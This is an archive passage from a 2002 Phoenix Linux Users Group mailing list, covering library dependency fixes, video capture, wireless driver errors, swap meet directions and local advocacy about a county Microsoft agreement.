Jun 16 05:41:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 22:41:16 -0700 Subject: Dependency Problems In-Reply-To: <3D0C117D.52AFA3F@qwest.net> Message-ID: <000801c214f8$6f31e120$0801a8c0@bedroom> Thanks for those who tried to help, I was attempting to sslwrap imap. Finally after some poking around I found imaps in xinetd.d. Geez. I am taking the better part of valor and using imaps rather than fight anymore with sslwrap! (It worked great, first try.) Adrian -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Kevin Brown Sent: Saturday, June 15, 2002 9:18 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Dependency Problems rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to /lib/libcrypto.so.0.9.6b. No joy. Here > are the results anyway, hope it jogs you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think > > that it was just a matter of adding an appropriately named symbolic > > link to libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can > > back out changes to stuff in thie /lib directory. Careful what you > > do in /lib, a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some > > memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to > > install sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | > > grep openssl show that both openssl and openssl-devel 0.9.6b-18 are > > installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number to > > the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 08:41:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sun, 16 Jun 2002 01:41:08 -0700 Subject: Video update Message-ID: <20020616084107.GV14558@ecloud.org> I'm working on video capture and editing type stuff this weekend. The good news is the Linux 1394 driver is awesome! I already had it compiled in my kernel from a while back, and when I plugged in my camcorder and started up kino, I could simply hit play to remote-control the camera or record to capture an AVI. No sweat whatsoever. So far I captured 45 minutes of video to almost 10 gigs of AVIs. Whoa that's a lot of data! However the devil's in the details. My nagging problem of the moment is that kino doesn't like the sound driver for my sound chip, apparently. It simply hangs if I try to play video and audio at the same time, or capture with audio monitoring turned on. I looked at the code, it's very straightforward, open up /dev/dsp and dump data to it, so I don't see what the big deal is. Anyway the sound built-in to this motherboard is crappy, so I really want to get kino using some sort of network audio server on another machine which is the one I usually have hooked up to my stereo; I intended that it would be the "mixer" machine for all the others. I installed nas, and I have KDE's artsd using NAS and sending audio to the other machine. That's the furthest I've ever gotten with NAS in my several attempts, although at various times I've done the same thing with esd and with artsd's own network support. However there's supposed to be this wrapper called audiooss which can intercept calls to /dev/dsp and redirect the data to NAS. That's the sort of thing I need for kino, but it's not working. aRTs has a wrapper too and that is also not working. Just to go totally over the top, last Friday I ordered one of these http://www.ymouse.com/product/pxkeditor.htm It will be interesting to try getting that working with Kino. It can already work with 2 other kinds of jog-shuttle controls so at least I will have some example code. I should probably test my ability to convert to MPEG and burn VCDs before I get much further with actual editing. (If all else fails I can slink off to my mom's house and use her iMac.) And I found several consumer DVD players which have all the appropriate bells and whistles - compatibility with CD-Rs, CD-RWs, firmware upgradeable by CD-R, hacked firmware available which disables Macrovision and region-coding, and one of them even has a CF slot so you can listen to MP3s or look at JPGs in that format as well as CD-R. I think that's the one I want to get for my wife's mom in Belarus. It also can convert NTSC to PAL and PAL to NTSC, and works on all voltages worldwide. I heard the SoundBlaster Live's Linux driver can handle multiple audio streams at once, so I think maybe I'll get one of those for my "master mixer" machine and then I can run artsd, esd and nasd all at the same time. But I still have to get kino to actually use one of them. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 09:28:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 16 Jun 2002 02:28:07 -0700 Subject: Spare video cards? Message-ID: <200206160228.07556.wokan@cox.net> I just got handed the leftovers from a friend's system upgrade. I've got just about everything needed for a working system except a video card. If anyone has any leftovers laying around from an upgrade, I'd appreciate it. The system only has AGP and PCI slots, so a really old ISA video card won't work. I live in Scottsdale now, so I'm generally asking people in the Eastern part of the valley. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 10:58:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 16 Jun 2002 03:58:00 -0700 (MST) Subject: Spare video cards? In-Reply-To: <200206160228.07556.wokan@cox.net> Message-ID: Am 16. Jun, 2002 schwätzte Digital Wokan so: > I just got handed the leftovers from a friend's system upgrade. I've got > just about everything needed for a working system except a video card. If > anyone has any leftovers laying around from an upgrade, I'd appreciate > it. The system only has AGP and PCI slots, so a really old ISA video card > won't work. I live in Scottsdale now, so I'm generally asking people in > the Eastern part of the valley. Hop to the swap meet at McDowell and Granite Reef tomorrow. Many people leave before 11:00 this time of year. Earl with Westech ( big white van and tons of old equipment ) will have stuff. It's probably $5 from him. Others will as well, but he always has boxes of cards. There will also be newer stuff for good prices as well. ciao, der.hans -- # https://www.LuftHans.com/ # "The reasons for my decision to quit were myriad, but central to the # decision ws the realization that there are two kinds of companies: # Good ones ask you to thnk for them. # The others tell you to think like them." -- Benjy Feen From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:04:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Sat, 15 Jun 2002 11:04:41 -0700 Subject: Saving a web site local In-Reply-To: <200206151750.g5FHof229001@PlugList.MyButt.Net> References: <200206151750.g5FHof229001@PlugList.MyButt.Net> Message-ID: <20020615110441.58b391d3.robert@kint.org> Alan: Check out the "wget" command. It probably does what you need to get done here. Bob. On Sat, 15 Jun 2002 10:50:41 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 10 > From: Alan Dayley > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Saving a web site local > Date: Sat, 15 Jun 2002 09:37:14 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > I want to save a web page and all the pages it links to (about 2 deep) > to my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > -- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 15:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (John Steele) Date: Sun, 16 Jun 2002 08:47:48 -0700 Subject: Has anyone any experience with "Guard Dog" Firewall Message-ID: <3D0CB324.3030700@qwest.net> I'm just learning the LINUX OS and I was wondering if anyone has used the firewall "Guard Dog" on a workstation that is hooked to the internet through an Ethernet router? I just want to learn a little about firewalls. I also have the Mandrake Client firewall software, but I'm not sure if it's beyond my understanding just now. John Steele From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:03:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 09:03:02 -0700 Subject: swapmeet Message-ID: <3D0CB6B6.F4D059E3@leml.asu.edu> I've been out of things... is there a swap meet today/this morning? I looked on the PLUG web page and saw nothing about it... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:10:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 16 Jun 2002 09:10:43 -0700 Subject: Emacs on RH 7.3 Message-ID: <1024243844.12004.23.camel@nabla.phx.viz> Is anyone else annoyed by the new GUI menu bar that emacs now places right under the text menu bar on a stock installation of Redhat 7.3? I have looked for a way to remove it, but have been unsuccessful so far. If anyone could tell me the magic incantation configuration setting that needs to be invoked, I would be very grateful. I really want that space back to display information. Thanks, -Gordon -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:45:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sun, 16 Jun 2002 09:45:59 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> Message-ID: <3D0CC0C7.926AC821@pop.phnx.uswest.net> Yup - as of 30 minutes ago it was still going on :-) "John (EBo) David" wrote: > > I've been out of things... > > is there a swap meet today/this morning? > > I looked on the PLUG web page and saw nothing about it... > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:51:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 09:51:54 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> Message-ID: <3D0CC22A.DBD77D3@leml.asu.edu> foodog wrote: > > Yup - as of 30 minutes ago it was still going on :-) ummmm... what are the directions? EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 17:13:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sun, 16 Jun 2002 10:13:16 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> <3D0CC22A.DBD77D3@leml.asu.edu> Message-ID: <3D0CC72C.3863C885@pop.phnx.uswest.net> McDowell & Granite Reef Rd. see: http://www.azweb.com/troop446/scoutmap.html "John (EBo) David" wrote: > > foodog wrote: > > > > Yup - as of 30 minutes ago it was still going on :-) > > ummmm... what are the directions? > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 17:34:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 10:34:48 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> <3D0CC22A.DBD77D3@leml.asu.edu> <3D0CC72C.3863C885@pop.phnx.uswest.net> Message-ID: <3D0CCC38.A5F98788@leml.asu.edu> foodog wrote: > > McDowell & Granite Reef Rd. see: > http://www.azweb.com/troop446/scoutmap.html cool thanks... I think I can *finally* break away... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 18:20:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 16 Jun 2002 11:20:23 -0700 Subject: Has anyone any experience with "Guard Dog" Firewall In-Reply-To: <3D0CB324.3030700@qwest.net> References: <3D0CB324.3030700@qwest.net> Message-ID: <200206161120.23007.dennisk@sahuaro.f2s.com> On Sunday 16 June 2002 08:47 am, John Steele wrote: > I'm just learning the LINUX OS and I was wondering if anyone has used > the firewall "Guard Dog" on a workstation that is hooked to the internet > through an Ethernet router? I just want to learn a little about > firewalls. I also have the Mandrake Client firewall software, but I'm > not sure if it's beyond my understanding just now. > John Steele Go download Smoothwall at www.smoothwall.org . A solid product! Download the documentation as well,. They have a very good basic TCP/IP Networking Guide. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 19:34:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 16 Jun 2002 12:34:22 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: <20020614211333.GA153@crystaldragon> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> Message-ID: <200206161234.26693.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am 14 Freitag Juni 2002 14:13 schrieb Thomas Mondoshawan Tate: > If Fry's won't "join up", give a shot at PC Computer Club on Southern and > Alma School (near Fiesta Mall and the B of A building). They're a small > enough company that exposure like what we could provide would be the > perfect ad campaign. I'd go and ask myself, but my time is rather limited > right now. There's another PC Club on Chandler and 48th street. South east side of the intersection. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9DOhBQ7yNnsYcupwRAt8AAKCWXT5OzcM0cXTnxcsRMgpfjGmvbgCgpkQW 9+uTXVjaJuJkje4o/tB4SGo= =eTiV -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 21:49:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Peter Buechler) Date: Sun, 16 Jun 2002 14:49:55 -0700 Subject: vncserver In-Reply-To: <20020615005640.93691.qmail@web11501.mail.yahoo.com> References: <20020615005640.93691.qmail@web11501.mail.yahoo.com> Message-ID: <200206161449.55851.peter.buechler@cox.net> Take another look at your ~/.vnc/xstartup file. That is the correct one. Make sure that you have the right path, etc. etc. On Friday 14 June 2002 17:56, Mark Astrauskas wrote: > This is just a quick question: How do I tell vncserver > which window manager to use? I've tried editing the > following files with no luck: > /etc/vnc.conf > ~/.vnc/xstartup > ~/.vncrc > > I have done it before, but now that I need to do it > again, I cannot figure it out. Anyone know where I > need to tell it? > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 01:10:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sun, 16 Jun 2002 18:10:55 -0700 Subject: Help Maricopa County Do the Right Thing In-Reply-To: References: <0206150802011X.08309@nova.wedge.org> Message-ID: <5.1.0.14.0.20020616180616.00a3fa80@localhost> I feel that each person that does write something, even if it's just to say " I am concerned, please hear me out ", can help make a difference. I wrote a rather direct email to all Supervisors. Although, polite in nature, I did ask if there would be a public hearing or a possible meeting whereby a dedicated group of people could attend to discuss the alternatives to vendors who break the law (Microsoft broke them all and then remade them all). I expect that we just may get an answer to our request if enough people ask to be heard. Expect the unexpected and you will never be unsure or afraid of the future. Kimi At 6/15/02, you wrote: >I wrote emails to everyone listed below. I encourage all of you to do the >same. This is an important moment for us to positively affect computing >in Maricopa County. Please write them and let them know you are >concerned. Be polite and stress that there are excellent alternatives >available. Go team, go! :-) >~M > > >On Sat, 15 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I have heard from a "reliable source" that the Maricopa County Council has > > decided not to automatically sign off on having the county sign an > Enterprise > > Agreement with Microsoft. The source said that people within the county IT > > organizations made their opinion known that the Enterprise Agreement might > > not be the best path for the county to blindly follow. > > > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > > contact your Maricopa County district council person and your city council > > people with some simple questions. > > > > a. Ask them if they plan to approve funding for the Enterprise > Agreement with > > the Microsoft Corporation? > > > > b. If they do plan to do so, ask them to provide you with a copy of the > > agreement and the dollar amount to be expended. > > > > c. Ask them when they will be hearing from the public on the budget, so if > > they are adopting an Enterprise Agreement with Microsoft, you can have your > > voice heard publicly. > > > > d. Ask they why do they do business with a vendor that has been > convicted of > > felony wrongdoings. > > . > > e. Ask them if they have they considered alternatives to Microsoft > products. > > > > I dont have city contact information but county contact information is as > > follows: > > > > Map To Find Your Council Person > > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > > > Council Contact Email > > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > > Dist 2 Don Stapley DStapley@mail.maricopa.gov > > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > > > Also I would cc: the County Administrator and Deputy County > > Administrator > > > > CAO: David Smith DSmith@mail.maricopa.gov > > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > - -- > > Jim > > > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > > cWg2GbQ9y1u85/ycX+Ko2+ss > > =GiK8 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 01:23:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sun, 16 Jun 2002 18:23:36 -0700 Subject: items for sale Message-ID: <5.1.0.14.0.20020616181121.00acd7f0@localhost> Although I have updated my ad on www.forsale.unitywave.com, it doesn't allow for the amount of items that I have to list. So here is the list: http://www.unitywave.com/~office/index.html it's in a decent printable form as well for those that want to print it. Call me with offers. Can someone please come get the whole lot? Pricing is pretty rock bottom, but I will take $225 for the whole lot. We do not deliver. I need the space in the next month, so if we cannot sell it here, it might be at the next swap meet or a garage sale in September. Kimi Adams Unity Wave 602-375-5363 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 02:50:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sun, 16 Jun 2002 19:50:04 -0700 Subject: Help Maricopa County Do the Right Thing In-Reply-To: <5.1.0.14.0.20020616180616.00a3fa80@localhost> References: <0206150802011X.08309@nova.wedge.org> <5.1.0.14.0.20020616180616.00a3fa80@localhost> Message-ID: <20020617025003.IIJC25007.fed1mtao01.cox.net@there> got an e-mail for the county board? Technomage On Sunday 16 June 2002 06:10 pm, you wrote: > I feel that each person that does write something, even if it's just to say > " I am concerned, please hear me out ", can help make a difference. > > I wrote a rather direct email to all Supervisors. Although, polite in > nature, I did ask if there would be a public hearing or a possible meeting > whereby a dedicated group of people could attend to discuss the > alternatives to vendors who break the law (Microsoft broke them all and > then remade them all). > > I expect that we just may get an answer to our request if enough people ask > to be heard. Expect the unexpected and you will never be unsure or afraid > of the future. > > Kimi > > At 6/15/02, you wrote: > >I wrote emails to everyone listed below. I encourage all of you to do the > >same. This is an important moment for us to positively affect computing > >in Maricopa County. Please write them and let them know you are > >concerned. Be polite and stress that there are excellent alternatives > >available. Go team, go! :-) > >~M > > > >On Sat, 15 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > I have heard from a "reliable source" that the Maricopa County Council > > > has decided not to automatically sign off on having the county sign an > > > > Enterprise > > > > > Agreement with Microsoft. The source said that people within the > > > county IT organizations made their opinion known that the Enterprise > > > Agreement might not be the best path for the county to blindly follow. > > > > > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > > > contact your Maricopa County district council person and your city > > > council people with some simple questions. > > > > > > a. Ask them if they plan to approve funding for the Enterprise > > > > Agreement with > > > > > the Microsoft Corporation? > > > > > > b. If they do plan to do so, ask them to provide you with a copy of the > > > agreement and the dollar amount to be expended. > > > > > > c. Ask them when they will be hearing from the public on the budget, so > > > if they are adopting an Enterprise Agreement with Microsoft, you can > > > have your voice heard publicly. > > > > > > d. Ask they why do they do business with a vendor that has been > > > > convicted of > > > > > felony wrongdoings. > > > . > > > e. Ask them if they have they considered alternatives to Microsoft > > > > products. > > > > > I dont have city contact information but county contact information is > > > as follows: > > > > > > Map To Find Your Council Person > > > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > > > > > Council Contact Email > > > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > > > Dist 2 Don Stapley DStapley@mail.maricopa.gov > > > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > > > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > > > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > > > > > Also I would cc: the County Administrator and Deputy County > > > Administrator > > > > > > CAO: David Smith DSmith@mail.maricopa.gov > > > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > > > cWg2GbQ9y1u85/ycX+Ko2+ss > > > =GiK8 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 02:03:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 16 Jun 2002 19:03:58 -0700 (MST) Subject: Problem with installing orinoco wireless card on linux. Message-ID: Hi, I am trying to get the Lucent/agere orinoco 802.11 gold 11mbps card working on my Linux box. I need to be able to get that fixed so that i can get to use Airsnort with WepCrack. I am currently using Redhat 7.2 with a custom 2.4.18 kernel build, the system is a desktop with a PCI bridge. I have disabled the kernel pcmcia and am instead using the pcmcia 3.1.33 package. I believe i have a problem with the orinoco card drivers or its configuration. It gives the error "Card Services release does not match!" I believe the driver compilation went fine as it gives 2 beeps one long and then a short one. Could somebody who has already done this or knows how to fix this help me out. Also please provide me with info on the configuration files to get this card working. Thanks in advance. -Sumanth. Attached below is some debug information. "pwd"-----------------> /installs/wireless/pcmcia-cs-3.1.33/debug-tools "./test_setup" ------> Current kernel: 2.4.18 #6 SMP Sat Jun 15 11:21:07 MST 2002 Module info from /lib/modules/2.4.18/pcmcia/pcmcia_core.o: "Linux PCMCIA Card Services 3.1.33 options: [pci] [cardbus] [apm] [pnp]" Startup options from /etc/sysconfig/pcmcia: PCMCIA=yes PCIC=i82365 PCIC_OPTS= CORE_OPTS= CARDMGR_OPTS= Checking current syslog files in /var/log: All PCMCIA messages are in /var/log/messages. Module status: No PCMCIA modules are loaded. Daemon status: cardmgr is running (process 2431) Current socket status from /var/lib/pcmcia/stab: Socket 0: empty Socket 1: Lucent Technologies WaveLAN/IEEE Adapter /installs/wireless/pcmcia-cs-3.1.33/cardmgr PCI bridge probe: Ricoh RL5C476 found, 2 sockets. info from /var/log/messages-------------> Jun 15 13:32:00 tech212work cardmgr[3208]: starting, version is 3.1.33 Jun 15 13:32:00 tech212work cardmgr[3208]: socket 1: Lucent Technologies WaveLAN/IEEE Adapter Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe hermes' Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe orinoco' Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe orinoco_cs' Jun 15 13:32:00 tech212work kernel: orinoco_cs: Card Services release does not match! Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: init_module: Invalid argument Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: insmod /lib/modules/2.4.18/pcmcia/orinoco_cs.o failed Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: insmod orinoco_cs failed Jun 15 13:32:00 tech212work cardmgr[3208]: + Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters Jun 15 13:32:00 tech212work cardmgr[3208]: modprobe exited with status 255 Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'insmod /lib/modules/2.4.18/pcmcia/orinoco_cs.o' Jun 15 13:32:00 tech212work kernel: orinoco_cs: Card Services release does not match! Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: init_module: Invalid argument Jun 15 13:32:00 tech212work cardmgr[3208]: + Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters Jun 15 13:32:00 tech212work cardmgr[3208]: insmod exited with status 1 Jun 15 13:32:01 tech212work cardmgr[3208]: get dev info on socket 1 failed: Resource temporarily unavailable Jun 15 13:32:01 tech212work cardmgr[3208]: wrong module 'orinoco_cs' for device 'orinoco_cs'? Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r orinoco_cs' Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r orinoco' Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r hermes' Sumanth Varma ECET,CTAS, ASU East. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 04:44:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Sun, 16 Jun 2002 21:44:44 -0700 (PDT) Subject: SMP problem Message-ID: <20020617044444.66586.qmail@web11508.mail.yahoo.com> I have a system running a Tyan Tiger 133 with 2 P3/700's. It ran fine until yesterday. I swapped the power supply for a 300w, and now after its done booting and loading it simply continously scrolls: "APIC error on CPU1: 08(08)" What exactly is causing this? I do not have a spare PSU for it at the moment to swap out again. Is it possibly the power supply is bad, or what? Anything else it might be. -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 05:26:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sun, 16 Jun 2002 22:26:42 -0700 Subject: SMP problem References: 